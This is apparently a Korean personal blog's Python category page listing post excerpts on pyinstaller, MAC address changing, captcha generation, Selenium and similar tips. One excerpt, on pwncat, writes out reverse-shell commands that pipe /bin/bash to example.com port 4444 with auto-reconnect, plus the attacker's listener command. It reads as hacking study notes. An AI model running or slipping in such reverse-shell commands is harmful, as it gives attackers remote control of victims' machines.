본문 바로가기
  • Tried. Failed. Logged.
728x90

파이썬84

파이썬 - pyinstaller 관리자 권한으로 실행 하기 --uac-admin 옵션을 추가하고 빌드를 하면 관리자 권한으로 실행이 가능하다. 예시 pyinstaller -w --uac-admin test.py 출처: https://dev-dream.tistory.com/4 pyinstaller 로 exe 만들 때 관리자 권한으로 실행하기 python 으로 프로그램을 만들면 exe (실행파일) 형태로 배포할 경우가 있다. py2exe 를 주로 썼는데 setup 파일 만드는게 불편했는데 pyinstaller 를 활용하면 쉽게 만들 수 있다. pip3 install pyinstaller 로 pyins dev-dream.tistory.com 2023. 5. 5.
파이썬 - 맥 주소 변경(changeMAC) changeMAC.py (관리자 권한 필요) from winreg import * import os, time def run(adapterName, adapterType="Wi-Fi"): aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) aKey = OpenKey(aReg, r"SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}") oKey = None sValue = None for i in range(255): try: aValue_name = EnumKey(aKey, i) oKey = OpenKey(aKey, aValue_name) sValue = QueryValueEx(oK.. 2023. 5. 2.
아파치 - 파이썬 패키지 pip로 설치 sudo mkdir /var/www/.local sudo mkdir /var/www/.cache sudo chown www-data.www-data /var/www/.local sudo chown www-data.www-data /var/www/.cache sudo -H -u www-data pip install CoolProp www-data로 /bin/sh 연결 sudo su www-data -s /bin/sh 출처: https://stackoverflow.com/questions/39471295/how-to-install-python-package-for-global-use-by-all-users-incl-www-data How to install Python Package for global us.. 2023. 3. 29.
시스템 보안 - pwntools pwntools는 리눅스 환경에서 실행 프로그램의 익스플로잇을 작성하도록 도움을 주는 파이썬 라이브러리이다. CTF에서도 유용하게 사용될 수 있다. pip 설치 명령어 python3 -m pip install --upgrade pwntools 사용 예제 >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25.
네트워크 해킹 - pwncat 리버스쉘 명령어 pip 설치 명령어 pip install pwncat victim(클라이언트)이 공격자(서버) 접속을 위한 설치 명령어 sudo pip install pwncat-cs 위는 공격자가 python3 -m pwncat 명령어를 쓰기 위한 설치 명령어 TCP Reverse shell(클라이언트) pwncat -e '/bin/bash' example.com 4444 pwncat -e '/bin/bash' example.com 4444 --reconn --reconn-wait 10 10초마다 재연결 시도 공격자 리버스쉘 서버 오픈 python3 -m pwncat -lp 4444 pwncat 프롬프트 명령어 / 단축키 sessions: 연결된 victim들 확인 sessions {ID}: 상호작용 하려는 victi.. 2023. 3. 16.
파이썬 - 코드 난독화 변환 사이트(pyob.oxyry.com) https://pyob.oxyry.com/ Oxyry Python Obfuscator - The most reliable python obfuscator in the world Features Rename symbol names, includes variables, functions, classes, arguments, class private methods. The name replacer avoids a 1:1 mapping of cleartext names to obfuscated names, the same name may be converted to several different names within differen pyob.oxyry.com 2023. 3. 16.
파이썬 - 캡챠 생성기(captcha) 모듈 설치 pip install captcha 글자 생성 예시 # Import the following modules from captcha.image import ImageCaptcha # Create an image instance of the given size image = ImageCaptcha(width = 280, height = 90) # Image captcha text captcha_text = 'GeeksforGeeks' # generate the image of the given text data = image.generate(captcha_text) # write the image on the given file and save it image.write(captcha_text, .. 2023. 3. 12.
셀레니움 - 크롬드라이브 자동 설치 모듈 설치 pip install webdriver_manager from webdriver_manager.chrome import ChromeDriverManager def exec_chrom(): driver = webdriver.Chrome(service=Service(ChromeDriverManager().install())) return driver 2023. 3. 8.
파이썬 - pyinstaller의 RecursionError : maximum recursion depth exceeded 오류 해결 방법 pyinstaller -w --onefile main.py 이런 예시로 main.py를 exe로 변환하는 과정에 RecursionError 오류가 생겼다면 .spec 파일을 아래처럼 수정 pyinstaller로 빌드를 한번 해주면 그 폴더에 main.spec이라는 파일이 하나 생기는데 이걸 연다. 상위 부분에다. (인코딩 바로 아래에) # -*- mode: python ; coding: utf-8 -*- import sys sys.setrecursionlimit(5000) # 혹은 import sys ; sys.setrecursionlimit(sys.getrecursionlimit() * 5) 두 줄을 새로 추가한다. (sys.setrecursionlimit 함수는 재귀 호출의 제한 설정이라고 한다. 기.. 2023. 3. 8.
PHP - shell_exec 함수로 파이썬 실행하고 한글이 안나오는 경우 putenv('PYTHONIOENCODING=utf-8'); 추가 putenv('PYTHONIOENCODING=utf-8'); $data = shell_exec('python3 app.py'); or $data = shell_exec('PYTHONIOENCODING=utf-8 python3 app.py'); 출처: https://trytoso.tistory.com/1543 php exec 사용하여 파이썬 호출후 한글이 안나올때 제목 그대로 아래와 같이 php 에서 파이썬 파일을 호출한다. 하지만 아래와 같은 오류가 계속 발생 Traceback (most recent call last): File "/home/naya/easyOCR-binary-centos-main/tests/php_client.py", .. 2023. 2. 18.
파이썬 - 세션 만료 시간 검증하기 from datetime import timedelta, datetime session_lifetime = timedelta(seconds=10) # 세션 유지 시간 expired_time = datetime.now() + session_lifetime if expired_time < datetime.now(): print("세션 사용 기간이 만료됨.") 2023. 2. 3.
파이썬 - 허용된 문자, 사용 가능한 비밀번호 문자들인지 검증하기 (re) 영문, 숫자, 특수 문자들로 구성된 비밀번호인지 확인하기 import re password = raw_input("Enter string to test: ") if re.fullmatch(r'[A-Za-z0-9!@#$%^&+=]{8,}', password): # match else: # no match 출처: https://stackoverflow.com/questions/2990654/how-to-test-a-regex-password-in-python How to test a regex password in Python? Using a regex in Python, how can I verify that a user's password is: At least 8 characters Must be re.. 2023. 2. 3.
728x90